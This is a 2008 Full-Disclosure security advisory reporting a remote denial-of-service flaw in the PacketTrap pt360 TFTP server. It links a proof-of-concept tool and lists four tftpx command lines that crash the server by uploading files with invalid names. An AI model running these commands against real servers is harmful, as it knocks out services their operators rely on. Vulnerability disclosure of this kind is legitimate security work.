[Full-disclosure] Denial of Service in PacketTrap TFTP server 2.0.3901.0


#######################################################################

Luigi Auriemma

Application: pt360 Tool Suite PRO
http://www.packettrap.com/product/index.aspx
Versions: <= 2.0.3901.0
Platforms: Windows
Bug: Denial of Service of the TFTP server
Exploitation: remote
Date: 08 Mar 2008
Author: Luigi Auriemma
e-mail: aluigi@xxxxxxxxxxxxx
web: aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


pt360 is a suite of network tools.


#######################################################################

======
2) Bug
======


The TFTP server implemented in the pt360 suite can be easily
interrupted through the uploading of files with invalid names, in this
case is raised an exception which blocks the TFTP component and forces
the user to restart the whole application for re-running it.


#######################################################################

===========
3) The Code
===========


http://aluigi.org/testz/tftpx.zip

tftpx -u SERVER "\|" none
tftpx -u SERVER "\"" none
tftpx -u SERVER "<>" none
tftpx -u -f SERVER 200 none


#######################################################################

======
4) Fix
======


No fix


#######################################################################


---
Luigi Auriemma
http://aluigi.org

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Relevant Pages

  • Denial of Service in PacketTrap TFTP server 2.0.3901.0
    ... Luigi Auriemma ... Application: pt360 Tool Suite PRO ... Bug ...
    (Bugtraq)
  • Re: What to do with a failed automated test
    ... I'm currently programming my test script with Visual Studio Team Suite ... one of then is failing. ... After discussion, the bug is ...
    (comp.software.testing)
  • Re: No clipart
    ... MS Outlook 2002 is part of the Office XP suite. ... It's not a bug in OfficeUpdate. ... confirming this is some sort of bug in Office Update, ...
    (microsoft.public.word.drawing.graphics)
  • Re: No clipart
    ... "Bob Buckland ?:-\)" <75214.226(At Beautiful ... >MS Outlook 2002 is part of the Office XP suite. ... >It's not a bug in OfficeUpdate. ... >of the suite are common to any of the standalone apps. ...
    (microsoft.public.word.drawing.graphics)